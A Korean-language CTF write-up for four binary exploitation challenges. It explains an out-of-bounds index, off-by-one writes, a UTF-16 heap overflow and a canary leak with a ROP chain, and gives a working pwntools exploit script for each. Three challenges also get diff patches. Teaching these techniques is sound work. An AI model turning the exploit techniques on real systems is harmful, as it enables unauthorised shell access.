## 문제 풀이 ## Note **익스플로잇** - *main.c* 파일의 노트 관련 함수에서 `note_idx`의 범위 검증에서 발생하는 로직 버그 - `if (!(0 <= note_idx < MAX_NOTE_CNT))` - 코드는 오른쪽부터 실행되므로, `note_idx < MAX_NOTE_CNT` 부터 실행 - 해당 비교가 참(1)이든 거짓(0)이든 0 보다 같거나 크기때문에 해당 조건문은 항상 무시됨 - `note_idx`에 대한 검증이 없으므로, `notes` 전역 변수를 기준으로 **Out of bounds** 취약점이 발생 - `func_update_note` 함수를 통해, `notes` 앞에 있는 `BANNER_PATH`에 접근하여 데이터 변조 - `./banner`를 `/flags/flag`로 변조하여, 플래그 획득 ```python Result *init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); banner_cmd = (char **)malloc(sizeof(char *)); *banner_cmd = DEFAULT_BANNER_CMD; notes = (Note *)malloc(sizeof(Note) * MAX_NOTE_CNT); memset(notes, 0x0, sizeof(Note) * MAX_NOTE_CNT); return create_ok(); } | banner_cmd | NOTE[0] | .... | ``` ```python from pwn import * context.log_level = "info" p = remote("localhost", 1338) p.recvuntil(b"Menu> ") p.sendline(b"3") p.recvuntil(b"Note index> ") p.sendline(b"-2") p.recvuntil(b"Title> ") p.sendline(b"/bin/sh") p.recvuntil(b"Content> ") p.sendline(b"ASDF") p.interactive() ``` **취약점 패치** ```diff - if (!(0 <= note_idx < MAX_NOTE_CNT)) + if (!(0 <= note_idx && note_idx < MAX_NOTE_CNT)) return create_error("Invalid note index.\n"); ``` ## Cash-flow **익스플로잇** - *main.c* 파일의 `read_string` 함수에서 발생하는 Off-by-one 버그 - `char buf[MAX(MAX_MEMO, MAX_CATEGORY)]` - 버퍼를 입력받을 데이터의 최대 크기만큼 할당 - `buf[read(0, buf, max)] = '\0'` - 입력받은 후, 마지막에 널 값 설정 - 버퍼를 생성할 때, 널 값이 들어갈 공간을 생각하지 않아 **Off-by-one** 취약점이 발생 - `SFP`를 변경할 수 있으므로, 스택에 `get_shell` 함수의 주소를 뿌려놓고 취약점 트리거 ```python from pwn import * context.log_level = "info" elf = ELF("../dist/cash_flow") #p = elf.process() p = remote("localhost", 1337) p.recvuntil(b"Menu> ") p.sendline(b"1") p.recvuntil(b"Type of Transaction (1: Deposit, 2: Withdraw)> ") p.sendline(b"1") p.recvuntil(b"Amount> ") p.sendline(b"100") p.recvuntil(b"Date (YYYYMMDD)> ") p.sendline(b"20241111") p.recvuntil(b"Category> ") p.send(b"ASDF") payload = p64(elf.sym["get_shell"]) * (0x100 // 0x8) p.recvuntil(b"Memo> ") p.send(payload) p.interactive() ``` **취약점 패치** ```diff void read_string(ssize_t max, char *res) { - char buf[MAX(MAX_MEMO, MAX_CATEGORY)]; + char buf[MAX(MAX_MEMO, MAX_CATEGORY) + 1]; buf[read(0, buf, max)] = '\0'; res = malloc(strlen(buf) + 1); strcpy(buf, res); } ``` ## Account **익스플로잇** - *account.c* 파일의 `fix_account` 함수에서 이미 할당된 공간과 새로 작성할 문자열의 길이를 비교하는 부분에서 발생하는 로직 버그 - `if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {` - 좌항은 쓰고자하는 문자열의 길이(utf16이므로 공간의 크기는 2배수) - 우항은 이미 할당된 공간 (NULL 포함) - `>=`로 검사하기 때문에 아스키 문자열은 위와 같은 검사에서 정상적으로 동작하지만, utf16은 NULL을 두 개 사용하므로 **Off-by-one** 취약점이 발생 - **Off-by-one** 취약점으로 `Account` 객체의 `type` 필드를 덮을 수 있음 - `type` 필드를 `0x00`으로 변경하여, 해당 객체가 저장하는 문자열의 타입을 `Ascii`에서 `Unicode`로 강제 변경 가능 - 해당 객체를 대상으로 `fix_account`를 호출하면, 문자열의 시작점으로부터 `0x0000`을 만날때까지 **Heap overflow** 취약점이 발생 - 풍수를 통해, 문자열 청크 바로 다음에 배너 경로 청크가 오도록 유도 - 기본 값인 `./banner`의 문자열 길이가 `/flags/flag` 보다 짧아서, 경로를 끝까지 입력할 수 없음 - 풍수하기 전에, 해당 영역에 미리 값을 채워놔야함 (익스 코드의 C 부분) - 이후, **Heap overflow**를 통해 `/flags/flag`를 입력한 뒤, 배너 출력 ```python from pwn import * import time context.log_level = "info" elf = ELF("../dist/account_protocol") #p = elf.process() p = remote("localhost", 1339) def new_account(type: int, name: bytes) -> None: p.send(b"\x00" + p8(type) + name) def del_account(idx: int) -> None: p.send(b"\x01" + p8(idx)) def fix_account(idx: int, type: int, name: bytes) -> None: p.send(b"\x02" + p8(idx) + p8(type) + name) def print_banner(): p.send(b"\xff") # ascii new_account(1, b"AAAA") # create 0 p.recvuntil(b"\x00") # ascii new_account(1, b"BBB") # create 1 p.recvuntil(b"\x01") del_account(0) # del 0 p.recvuntil(b"\x00") # ascii # "CCCC.."를 저장하기 위한 0x20 공간 할당 new_account(1, b"C" * (0x20 - 1)) # create 0 p.recvuntil(b"\x00") # "CCCC.."가 저장된 0x20 공간 해체 del_account(0) # del 0 p.recvuntil(b"\x00") # "CCCC.."가 저장됐었던 공간에 재할당 print_banner() # ascii new_account(1, b"DDDD") # create 0 p.recvuntil(b"\x00") fix_account(0, 0, b"\x41\x00\x41\x00") # Off-by-one p.recvuntil(b"\x00") fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0") # Heap overflow p.recvuntil(b"\x00") print_banner() p.interactive() p.close() ``` ```diff new_account(1, b"AAAA") # create 0 new_account(1, b"BBB") # create 1 | ac[0] | AAAA\0 | ac[1] | BBB\0 | del_account(0) # del 0 | free[ac] | free[5] | ac[1] | BBB\0 | new_account(1, b"C" * (0x20 - 1)) | ac[0] | free[5] | ac[1] | BBB\0 | CCC..\0 | del_account(0) | free[ac] | free[5] | ac[1] | BBB\0 | free[0x20] | print_banner() | free[ac] | free[5] | ac[1] | BBB\0 | banner_cmd | new_account(1, b"DDDD") # create 0 | ac[0] | DDDD\0 | ac[1] | BBB\0 | banner_cmd | ``` ```yaml fix_account(0, 0, b"\x41\x00\x41\x00") # if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) { # 좌항 = 4, 우항 = 5 # 이 때의 fix_account가 length 계산을 올바르게 수행하지 못하고 heap overflow 발생 # 이로 인해, ac[1]에 저장된 ascii(1) 플래그가 unicode(0)로 변조 | ac[0] | \x41\x00\x41\x00\x00 | ac[1] | BBB\0 | banner_cmd | fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0") # ac[1]의 타입이 unicode라고 해석됨 # => BBB 문자열 시작부터 \x00\x00을 만날때까지가 이름이라고 해석됨 # => 원래 BBB는 ascii 타입이어서 \x00으로 끝남 # => 뒤에 있는 banner_cmd까지 ac[1]의 이름이라고 해석됨 # => 원래 길이보다 길게 인식되어서, heap overflow 체이닝 가능 # => banner_cmd 부분에 원하는 문자열을 넣을 수 있음 | ac[0] | \x41\x00\x41\x00\x00 | ac[1] | \x42\x00\x42\x00 | /bin/sh\0\0 | ``` **취약점 패치** ```diff switch (type) { case ACCOUNT_TYPE_ASCII: - if (strlen((char *)name) >= allocated_size) { + if (strlen((char *)name) + 1 > allocated_size) { fprintf(stderr, "invalid length\n"); return -1; } strcpy(ac->name.ascii->string, (char *)name); ac->type = ACCOUNT_TYPE_ASCII; break; case ACCOUNT_TYPE_UNICODE: - if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) { + if ((utf16_strlen((Utf16 *)name) + 1) * 2 > allocated_size) { fprintf(stderr, "invalid length\n"); return -1; } ``` ## intelitigation ```python from pwn import * import base64 # context.log_level = "debug" HOST = 'localhost' PORT = 16384 s = remote(HOST, PORT) received = s.recvuntil(b'input> ') encodedFile = received.split(b'This is Your Binary>\n')[1].split(b'input> ')[0] decoded = base64.b64decode(encodedFile) def getSeeds(file): seeds = list() offset = 0x3020 for i in range(9): seed = file[offset + (i * 8) : offset + (i * 8) + 8] seed = u64(seed) seeds.append(seed) return seeds def getPeek(file): offset = 0x3070 return u64(file[offset : offset + 8]) seeds = getSeeds(decoded) canary = seeds[getPeek(decoded)] print(f'canary : {hex(canary)}') offset = b'\xf2' payload = b'' payload += b"A" * 520 payload += p64(canary) payload += b"A" * 8 payload += offset s.send(payload) input() received = s.recv(1024) canary_sfp_ret_dummy = received.split(b"A" * 520)[1] ret = canary_sfp_ret_dummy[16:-1].split(b"input")[0] ret += b"\x00" * (8 - len(ret)) ret = u64(ret) base = ret - 0x13f2 print(f'base : {hex(base)}') readfile = base + 0x1253 # text:00000000000012B4 mov rdi, rsp # .text:00000000000012B7 pop r8 # .text:00000000000012B9 retn gadget = base + 0x12b4 payload = b'' payload += b'A' * 520 payload += p64(canary) payload += b'A' * 8 payload += p64(gadget) payload += b'flag' + b'\x00' * (8 - len(b"flag")) payload += p64(readfile) # gdb.attach(s) s.send(payload) input() # 시간 필요 이슈 s.interactive() ``` ```python .text:000000000000124E endbr64 .text:0000000000001252 push rbp .text:0000000000001253 mov rbp, rsp .text:0000000000001256 sub rsp, 20h .text:000000000000125A mov [rbp+file], rdi .text:000000000000125E mov rax, [rbp+file] .text:0000000000001262 mov esi, 0 ; oflag .text:0000000000001267 mov rdi, rax ; file .text:000000000000126A mov eax, 0 .text:000000000000126F call _open .text:0000000000001274 mov [rbp+fd], eax .text:0000000000001277 mov eax, [rbp+fd] .text:000000000000127A mov edx, 64h ; 'd' ; nbytes .text:000000000000127F lea rcx, unk_40C0 .text:0000000000001286 mov rsi, rcx ; buf .text:0000000000001289 mov edi, eax ; fd .text:000000000000128B call _read .text:0000000000001290 mov edx, 64h ; 'd' ; n .text:0000000000001295 lea rax, unk_40C0 .text:000000000000129C mov rsi, rax ; buf .text:000000000000129F mov edi, 1 ; fd .text:00000000000012A4 call _write .text:00000000000012A9 nop .text:00000000000012AA leave .text:00000000000012AB retn .text:00000000000012AB ; } ```